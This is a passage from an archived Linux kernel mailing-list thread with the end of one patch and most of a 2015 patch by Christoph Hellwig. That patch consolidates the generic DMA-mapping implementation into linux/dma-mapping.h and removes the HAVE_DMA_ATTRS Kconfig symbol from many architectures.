+#endif /* CONFIG_HAVE_GENERIC_DMA_COHERENT */
 
 /*
  * Managed DMA API
@@ -600,13 +622,13 @@ extern void *dmam_alloc_noncoherent(struct device *dev, size_t size,
 				    dma_addr_t *dma_handle, gfp_t gfp);
 extern void dmam_free_noncoherent(struct device *dev, size_t size, void *vaddr,
 				  dma_addr_t dma_handle);
-#ifdef ARCH_HAS_DMA_DECLARE_COHERENT_MEMORY
+#ifdef CONFIG_HAVE_GENERIC_DMA_COHERENT
 extern int dmam_declare_coherent_memory(struct device *dev,
 					phys_addr_t phys_addr,
 					dma_addr_t device_addr, size_t size,
 					int flags);
 extern void dmam_release_declared_memory(struct device *dev);
-#else /* ARCH_HAS_DMA_DECLARE_COHERENT_MEMORY */
+#else /* CONFIG_HAVE_GENERIC_DMA_COHERENT */
 static inline int dmam_declare_coherent_memory(struct device *dev,
 				phys_addr_t phys_addr, dma_addr_t device_addr,
 				size_t size, gfp_t gfp)
@@ -617,7 +639,7 @@ static inline int dmam_declare_coherent_memory(struct device *dev,
 static inline void dmam_release_declared_memory(struct device *dev)
 {
 }
-#endif /* ARCH_HAS_DMA_DECLARE_COHERENT_MEMORY */
+#endif /* CONFIG_HAVE_GENERIC_DMA_COHERENT */
 
 static inline void *dma_alloc_writecombine(struct device *dev, size_t size,
 					   dma_addr_t *dma_addr, gfp_t gfp)
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 15/16] dma-mapping: always provide the dma_map_ops based implementation
Date: Mon,  9 Nov 2015 19:17:20 +0100
Lines: 1837
Approved: news@gmane.org
Message-ID: <1447093041-21832-16-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093402 19752 80.91.229.3 (9 Nov 2015 18:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:23:22 +0000 (UTC)
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Haavard Skinnemoen <hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Steven Miao <realmz6-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Ley Foon Tan <lftan-EIB2kfCEclfQT0dZR+AlfA@public.gmane.org>,
	David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	Koichi Yasutake <yasutake.koichi-NAum8xwdG0+S7A1Ibl2khg@public.gmane.org>,
	Chris Metcalf <cmetcalf-d5a29ZRxExrQT0dZR+AlfA@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWPLiZjB17Co1B2eb7JE58TQ@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Nov 09 19:23:11 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Zvr5k-00059O-OS
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 09 Nov 2015 19:22:57 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752493AbbKISWp (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:45 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58928 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752535AbbKISWn (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 9 Nov 2015 13:22:43 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr5K-0003l2-WE; Mon, 09 Nov 2015 18:22:32 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:663 gmane.linux.ports.parisc:26146 gmane.linux.ports.sparc:21750 gmane.linux.kernel.iommu:11456
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/663>

Move the generic implementation to <linux/dma-mapping.h> now that all
architectures support it and remove the HAVE_DMA_ATTR Kconfig symbol
now that everyone supports them.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 Documentation/DMA-API-HOWTO.txt                    |  10 -
 .../features/io/dma_map_attrs/arch-support.txt     |  40 ---
 arch/Kconfig                                       |   3 -
 arch/alpha/Kconfig                                 |   1 -
 arch/alpha/include/asm/dma-mapping.h               |   2 -
 arch/arc/Kconfig                                   |   1 -
 arch/arc/include/asm/dma-mapping.h                 |   2 -
 arch/arm/Kconfig                                   |   1 -
 arch/arm/include/asm/dma-mapping.h                 |   7 -
 arch/arm64/Kconfig                                 |   1 -
 arch/arm64/include/asm/dma-mapping.h               |   2 -
 arch/avr32/Kconfig                                 |   1 -
 arch/avr32/include/asm/dma-mapping.h               |   2 -
 arch/blackfin/Kconfig                              |   1 -
 arch/blackfin/include/asm/dma-mapping.h            |   2 -
 arch/c6x/Kconfig                                   |   1 -
 arch/c6x/include/asm/dma-mapping.h                 |   2 -
 arch/cris/Kconfig                                  |   1 -
 arch/cris/include/asm/dma-mapping.h                |   2 -
 arch/frv/Kconfig                                   |   1 -
 arch/frv/include/asm/dma-mapping.h                 |   2 -
 arch/h8300/Kconfig                                 |   1 -
 arch/h8300/include/asm/dma-mapping.h               |   2 -
 arch/hexagon/Kconfig                               |   1 -
 arch/hexagon/include/asm/dma-mapping.h             |   2 -
 arch/ia64/Kconfig                                  |   1 -
 arch/ia64/include/asm/dma-mapping.h                |   2 -
 arch/m68k/Kconfig                                  |   1 -
 arch/m68k/include/asm/dma-mapping.h                |   2 -
 arch/metag/Kconfig                                 |   1 -
 arch/metag/include/asm/dma-mapping.h               |   2 -
 arch/microblaze/Kconfig                            |   1 -
 arch/microblaze/include/asm/dma-mapping.h          |   2 -
 arch/mips/Kconfig                                  |   1 -
 arch/mips/include/asm/dma-mapping.h                |   2 -
 arch/mn10300/Kconfig                               |   1 -
 arch/mn10300/include/asm/dma-mapping.h             |   2 -
 arch/nios2/Kconfig                                 |   1 -
 arch/openrisc/Kconfig                              |   3 -
 arch/openrisc/include/asm/dma-mapping.h            |   2 -
 arch/parisc/Kconfig                                |   1 -
 arch/parisc/include/asm/dma-mapping.h              |   2 -
 arch/powerpc/Kconfig                               |   1 -
 arch/powerpc/include/asm/dma-mapping.h             |   2 -
 arch/s390/Kconfig                                  |   1 -
 arch/s390/include/asm/dma-mapping.h                |   2 -
 arch/sh/Kconfig                                    |   1 -
 arch/sh/include/asm/dma-mapping.h                  |   2 -
 arch/sparc/Kconfig                                 |   1 -
 arch/sparc/include/asm/dma-mapping.h               |   2 -
 arch/tile/Kconfig                                  |   1 -
 arch/tile/include/asm/dma-mapping.h                |   3 -
 arch/unicore32/Kconfig                             |   1 -
 arch/unicore32/include/asm/dma-mapping.h           |   2 -
 arch/x86/Kconfig                                   |   1 -
 arch/x86/include/asm/dma-mapping.h                 |   2 -
 arch/xtensa/Kconfig                                |   1 -
 arch/xtensa/include/asm/dma-mapping.h              |   2 -
 drivers/gpu/drm/Kconfig                            |   4 +-
 drivers/gpu/drm/imx/Kconfig                        |   2 +-
 drivers/gpu/drm/rcar-du/Kconfig                    |   2 +-
 drivers/gpu/drm/shmobile/Kconfig                   |   2 +-
 drivers/gpu/drm/sti/Kconfig                        |   2 +-
 drivers/gpu/drm/tilcdc/Kconfig                     |   2 +-
 drivers/media/platform/Kconfig                     |   1 -
 include/asm-generic/dma-mapping-broken.h           |  95 ------
 include/asm-generic/dma-mapping-common.h           | 358 -------------------
 include/linux/dma-attrs.h                          |  10 -
 include/linux/dma-mapping.h                        | 379 ++++++++++++++++++++-
 69 files changed, 368 insertions(+), 632 deletions(-)
 delete mode 100644 Documentation/features/io/dma_map_attrs/arch-support.txt
 delete mode 100644 include/asm-generic/dma-mapping-broken.h
 delete mode 100644 include/asm-generic/dma-mapping-common.h

diff --git a/Documentation/DMA-API-HOWTO.txt b/Documentation/DMA-API-HOWTO.txt
index d69b3fc..781024e 100644
--- a/Documentation/DMA-API-HOWTO.txt
+++ b/Documentation/DMA-API-HOWTO.txt
@@ -951,16 +951,6 @@ to "Closing".
    alignment constraints (e.g. the alignment constraints about 64-bit
    objects).
 
-3) Supporting multiple types of IOMMUs
-
-   If your architecture needs to support multiple types of IOMMUs, you
-   can use include/linux/asm-generic/dma-mapping-common.h. It's a
-   library to support the DMA API with multiple types of IOMMUs. Lots
-   of architectures (x86, powerpc, sh, alpha, ia64, microblaze and
-   sparc) use it. Choose one to see how it can be used. If you need to
-   support multiple types of IOMMUs in a single system, the example of
-   x86 or powerpc helps.
-
 			   Closing
 
 This document, and the API itself, would not be in its current
diff --git a/Documentation/features/io/dma_map_attrs/arch-support.txt b/Documentation/features/io/dma_map_attrs/arch-support.txt
deleted file mode 100644
index 51d0f1c..0000000
--- a/Documentation/features/io/dma_map_attrs/arch-support.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Feature name:          dma_map_attrs
-#         Kconfig:       HAVE_DMA_ATTRS
-#         description:   arch provides dma_*map*_attrs() APIs
-#
-    -----------------------
-    |         arch |status|
-    -----------------------
-    |       alpha: |  ok  |
-    |         arc: | TODO |
-    |         arm: |  ok  |
-    |       arm64: |  ok  |
-    |       avr32: | TODO |
-    |    blackfin: | TODO |
-    |         c6x: | TODO |
-    |        cris: | TODO |
-    |         frv: | TODO |
-    |       h8300: |  ok  |
-    |     hexagon: |  ok  |
-    |        ia64: |  ok  |
-    |        m32r: | TODO |
-    |        m68k: | TODO |
-    |       metag: | TODO |
-    |  microblaze: |  ok  |
-    |        mips: |  ok  |
-    |     mn10300: | TODO |
-    |       nios2: | TODO |
-    |    openrisc: |  ok  |
-    |      parisc: | TODO |
-    |     powerpc: |  ok  |
-    |        s390: |  ok  |
-    |       score: | TODO |
-    |          sh: |  ok  |
-    |       sparc: |  ok  |
-    |        tile: |  ok  |
-    |          um: | TODO |
-    |   unicore32: |  ok  |
-    |         x86: |  ok  |
-    |      xtensa: | TODO |
-    -----------------------
diff --git a/arch/Kconfig b/arch/Kconfig
index e47995f..58541e7 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -205,9 +205,6 @@ config HAVE_NMI_WATCHDOG
 config HAVE_ARCH_TRACEHOOK
 	bool
 
-config HAVE_DMA_ATTRS
-	bool
-
 config HAVE_DMA_CONTIGUOUS
 	bool
 
diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index f515a4d..9d8a858 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -9,7 +9,6 @@ config ALPHA
 	select HAVE_OPROFILE
 	select HAVE_PCSPKR_PLATFORM
 	select HAVE_PERF_EVENTS
-	select HAVE_DMA_ATTRS
 	select VIRT_TO_BUS
 	select GENERIC_IRQ_PROBE
 	select AUTO_IRQ_AFFINITY if SMP
diff --git a/arch/alpha/include/asm/dma-mapping.h b/arch/alpha/include/asm/dma-mapping.h
index 72a8ca7..3c3451f 100644
--- a/arch/alpha/include/asm/dma-mapping.h
+++ b/arch/alpha/include/asm/dma-mapping.h
@@ -10,8 +10,6 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return dma_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #define dma_cache_sync(dev, va, size, dir)		  ((void)0)
 
 #endif	/* _ALPHA_DMA_MAPPING_H */
diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index fdf217c..2c2ac3f 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -38,7 +38,6 @@ config ARC
 	select OF_EARLY_FLATTREE
 	select PERF_USE_VMALLOC
 	select HAVE_DEBUG_STACKOVERFLOW
-	select HAVE_DMA_ATTRS
 
 config TRACE_IRQFLAGS_SUPPORT
 	def_bool y
diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
index 2a617f9..6602054 100644
--- a/arch/arc/include/asm/dma-mapping.h
+++ b/arch/arc/include/asm/dma-mapping.h
@@ -18,6 +18,4 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return &arc_dma_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index f1ed110..f359203 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -43,7 +43,6 @@ config ARM
 	select HAVE_C_RECORDMCOUNT
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DMA_API_DEBUG
-	select HAVE_DMA_ATTRS
 	select HAVE_DMA_CONTIGUOUS if MMU
 	select HAVE_DYNAMIC_FTRACE if (!XIP_KERNEL) && !CPU_ENDIAN_BE32
 	select HAVE_EFFICIENT_UNALIGNED_ACCESS if (CPU_V6 || CPU_V6K || CPU_V7) && MMU
diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index ccb3aa6..6ad1ced 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -41,13 +41,6 @@ static inline void set_dma_ops(struct device *dev, struct dma_map_ops *ops)
 #define HAVE_ARCH_DMA_SUPPORTED 1
 extern int dma_supported(struct device *dev, u64 mask);
 
-/*
- * Note that while the generic code provides dummy dma_{alloc,free}_noncoherent
- * implementations, we don't provide a dma_cache_sync function so drivers using
- * this API are highlighted with build warnings.
- */
-#include <asm-generic/dma-mapping-common.h>
-
 #ifdef __arch_page_to_dma
 #error Please update to __arch_pfn_to_dma
 #endif
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 851fe11..4ebd1b9 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -60,7 +60,6 @@ config ARM64
 	select HAVE_DEBUG_BUGVERBOSE
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DMA_API_DEBUG
-	select HAVE_DMA_ATTRS
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_EFFICIENT_UNALIGNED_ACCESS
diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index 54d0ead..16dfd3b 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -71,8 +71,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
 	return (dma_addr_t)paddr;
diff --git a/arch/avr32/Kconfig b/arch/avr32/Kconfig
index b545384..b6878eb 100644
--- a/arch/avr32/Kconfig
+++ b/arch/avr32/Kconfig
@@ -17,7 +17,6 @@ config AVR32
 	select GENERIC_CLOCKEVENTS
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
-	select HAVE_DMA_ATTRS
 	help
 	  AVR32 is a high-performance 32-bit RISC microprocessor core,
 	  designed for cost-sensitive embedded applications, with particular
diff --git a/arch/avr32/include/asm/dma-mapping.h b/arch/avr32/include/asm/dma-mapping.h
index 0239ca8..1115f2a 100644
--- a/arch/avr32/include/asm/dma-mapping.h
+++ b/arch/avr32/include/asm/dma-mapping.h
@@ -11,6 +11,4 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return &avr32_dma_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif /* __ASM_AVR32_DMA_MAPPING_H */
diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
index d3c68dd..af76634 100644
--- a/arch/blackfin/Kconfig
+++ b/arch/blackfin/Kconfig
@@ -40,7 +40,6 @@ config BLACKFIN
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
-	select HAVE_DMA_ATTRS
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/blackfin/include/asm/dma-mapping.h b/arch/blackfin/include/asm/dma-mapping.h
index ea5a2e8..3490570 100644
--- a/arch/blackfin/include/asm/dma-mapping.h
+++ b/arch/blackfin/include/asm/dma-mapping.h
@@ -43,6 +43,4 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return &bfin_dma_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif				/* _BLACKFIN_DMA_MAPPING_H */
diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index 8602f72..79049d4 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -18,7 +18,6 @@ config C6X
 	select GENERIC_CLOCKEVENTS
 	select MODULES_USE_ELF_RELA
 	select ARCH_NO_COHERENT_DMA_MMAP
-	select HAVE_DMA_ATTRS
 
 config MMU
 	def_bool n
diff --git a/arch/c6x/include/asm/dma-mapping.h b/arch/c6x/include/asm/dma-mapping.h
index 6aa20fd..b810147 100644
--- a/arch/c6x/include/asm/dma-mapping.h
+++ b/arch/c6x/include/asm/dma-mapping.h
@@ -24,6 +24,4 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return &c6x_dma_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif	/* _ASM_C6X_DMA_MAPPING_H */
diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index f5dd700..e086f9e 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -69,7 +69,6 @@ config CRIS
 	select GENERIC_CLOCKEVENTS if ETRAX_ARCH_V32
 	select GENERIC_SCHED_CLOCK if ETRAX_ARCH_V32
 	select HAVE_DEBUG_BUGVERBOSE if ETRAX_ARCH_V32
-	select HAVE_DMA_ATTRS
 
 config HZ
 	int
diff --git a/arch/cris/include/asm/dma-mapping.h b/arch/cris/include/asm/dma-mapping.h
index 34e7c7c..5a37017 100644
--- a/arch/cris/include/asm/dma-mapping.h
+++ b/arch/cris/include/asm/dma-mapping.h
@@ -16,8 +16,6 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 }
 #endif
 
-#include <asm-generic/dma-mapping-common.h>
-
 static inline void
 dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	       enum dma_data_direction direction)
diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
index d4fc724..4211be8 100644
--- a/arch/frv/Kconfig
+++ b/arch/frv/Kconfig
@@ -15,7 +15,6 @@ config FRV
 	select OLD_SIGACTION
 	select HAVE_DEBUG_STACKOVERFLOW
 	select ARCH_NO_COHERENT_DMA_MMAP
-	select HAVE_DMA_ATTRS
 
 config ZONE_DMA
 	bool
diff --git a/arch/frv/include/asm/dma-mapping.h b/arch/frv/include/asm/dma-mapping.h
index 750951c..9a82bfa 100644
--- a/arch/frv/include/asm/dma-mapping.h
+++ b/arch/frv/include/asm/dma-mapping.h
@@ -21,6 +21,4 @@ void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	flush_write_buffers();
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif  /* _ASM_DMA_MAPPING_H */
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index db58916..275ad93 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -15,7 +15,6 @@ config H8300
 	select OF_IRQ
 	select OF_EARLY_FLATTREE
 	select HAVE_MEMBLOCK
-	select HAVE_DMA_ATTRS
 
 config RWSEM_GENERIC_SPINLOCK
 	def_bool y
diff --git a/arch/h8300/include/asm/dma-mapping.h b/arch/h8300/include/asm/dma-mapping.h
index d9b5b80..7ac7fad 100644
--- a/arch/h8300/include/asm/dma-mapping.h
+++ b/arch/h8300/include/asm/dma-mapping.h
@@ -8,6 +8,4 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return &h8300_dma_map_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 4dc89d1..57298e7 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -27,7 +27,6 @@ config HEXAGON
 	select GENERIC_CLOCKEVENTS_BROADCAST
 	select MODULES_USE_ELF_RELA
 	select GENERIC_CPU_DEVICES
-	select HAVE_DMA_ATTRS
 	---help---
 	  Qualcomm Hexagon is a processor architecture designed for high
 	  performance and low power across a wide variety of applications.
diff --git a/arch/hexagon/include/asm/dma-mapping.h b/arch/hexagon/include/asm/dma-mapping.h
index 268fde8..aa62034 100644
--- a/arch/hexagon/include/asm/dma-mapping.h
+++ b/arch/hexagon/include/asm/dma-mapping.h
@@ -49,8 +49,6 @@ extern int dma_is_consistent(struct device *dev, dma_addr_t dma_handle);
 extern void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 			   enum dma_data_direction direction);
 
-#include <asm-generic/dma-mapping-common.h>
-
 static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 {
 	if (!dev->dma_mask)
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index eb0249e..fb0515e 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -25,7 +25,6 @@ config IA64
 	select HAVE_FTRACE_MCOUNT_RECORD
 	select HAVE_DYNAMIC_FTRACE if (!ITANIUM)
 	select HAVE_FUNCTION_TRACER
-	select HAVE_DMA_ATTRS
 	select TTY
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_DMA_API_DEBUG
diff --git a/arch/ia64/include/asm/dma-mapping.h b/arch/ia64/include/asm/dma-mapping.h
index 9beccf8..d472805 100644
--- a/arch/ia64/include/asm/dma-mapping.h
+++ b/arch/ia64/include/asm/dma-mapping.h
@@ -25,8 +25,6 @@ extern void machvec_dma_sync_sg(struct device *, struct scatterlist *, int,
 
 #define get_dma_ops(dev) platform_dma_get_ops(dev)
 
-#include <asm-generic/dma-mapping-common.h>
-
 static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 {
 	if (!dev->dma_mask)
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index d5d75b3..498b567 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -23,7 +23,6 @@ config M68K
 	select MODULES_USE_ELF_RELA
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
-	select HAVE_DMA_ATTRS
 
 config RWSEM_GENERIC_SPINLOCK
 	bool
diff --git a/arch/m68k/include/asm/dma-mapping.h b/arch/m68k/include/asm/dma-mapping.h
index 2c082a6..96c5361 100644
--- a/arch/m68k/include/asm/dma-mapping.h
+++ b/arch/m68k/include/asm/dma-mapping.h
@@ -8,8 +8,6 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
         return &m68k_dma_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 static inline void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 				  enum dma_data_direction dir)
 {
diff --git a/arch/metag/Kconfig b/arch/metag/Kconfig
index 36af3c0..0b389a8 100644
--- a/arch/metag/Kconfig
+++ b/arch/metag/Kconfig
@@ -29,7 +29,6 @@ config METAG
 	select OF
 	select OF_EARLY_FLATTREE
 	select SPARSE_IRQ
-	select HAVE_DMA_ATTRS
 
 config STACKTRACE_SUPPORT
 	def_bool y
diff --git a/arch/metag/include/asm/dma-mapping.h b/arch/metag/include/asm/dma-mapping.h
index 768f2e3..27af5d47 100644
--- a/arch/metag/include/asm/dma-mapping.h
+++ b/arch/metag/include/asm/dma-mapping.h
@@ -8,8 +8,6 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return &metag_dma_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 /*
  * dma_alloc_noncoherent() returns non-cacheable memory, so there's no need to
  * do any flushing here.
diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 0bce820..d1f5891 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -19,7 +19,6 @@ config MICROBLAZE
 	select HAVE_ARCH_KGDB
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DMA_API_DEBUG
-	select HAVE_DMA_ATTRS
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_FTRACE_MCOUNT_RECORD
 	select HAVE_FUNCTION_GRAPH_TRACER
diff --git a/arch/microblaze/include/asm/dma-mapping.h b/arch/microblaze/include/asm/dma-mapping.h
index 24b1297..1884783 100644
--- a/arch/microblaze/include/asm/dma-mapping.h
+++ b/arch/microblaze/include/asm/dma-mapping.h
@@ -44,8 +44,6 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return &dma_direct_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 static inline void __dma_sync(unsigned long paddr,
 			      size_t size, enum dma_data_direction direction)
 {
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index e3aa5b0..1b41781 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -30,7 +30,6 @@ config MIPS
 	select RTC_LIB if !MACH_LOONGSON64
 	select GENERIC_ATOMIC64 if !64BIT
 	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
-	select HAVE_DMA_ATTRS
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_DMA_API_DEBUG
 	select GENERIC_IRQ_PROBE
diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index e604f76..12fa79e 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -29,8 +29,6 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
-#include <asm-generic/dma-mapping-common.h>
-
 extern void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	       enum dma_data_direction direction);
 
diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig
index 1bf3af2..000745b 100644
--- a/arch/mn10300/Kconfig
+++ b/arch/mn10300/Kconfig
@@ -14,7 +14,6 @@ config MN10300
 	select OLD_SIGACTION
 	select HAVE_DEBUG_STACKOVERFLOW
 	select ARCH_NO_COHERENT_DMA_MMAP
-	select HAVE_DMA_ATTRS
 
 config AM33_2
 	def_bool n
diff --git a/arch/mn10300/include/asm/dma-mapping.h b/arch/mn10300/include/asm/dma-mapping.h
index e69b013..1dcd447 100644
--- a/arch/mn10300/include/asm/dma-mapping.h
+++ b/arch/mn10300/include/asm/dma-mapping.h
@@ -28,6 +28,4 @@ void dma_cache_sync(void *vaddr, size_t size,
 	mn10300_dcache_flush_inv();
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif
diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 4b2504d..4375554 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -16,7 +16,6 @@ config NIOS2
 	select SOC_BUS
 	select SPARSE_IRQ
 	select USB_ARCH_HAS_HCD if USB_SUPPORT
-	select HAVE_DMA_ATTRS
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 443f44d..e118c02 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -29,9 +29,6 @@ config OPENRISC
 config MMU
 	def_bool y
 
-config HAVE_DMA_ATTRS
-	def_bool y
-
 config RWSEM_GENERIC_SPINLOCK
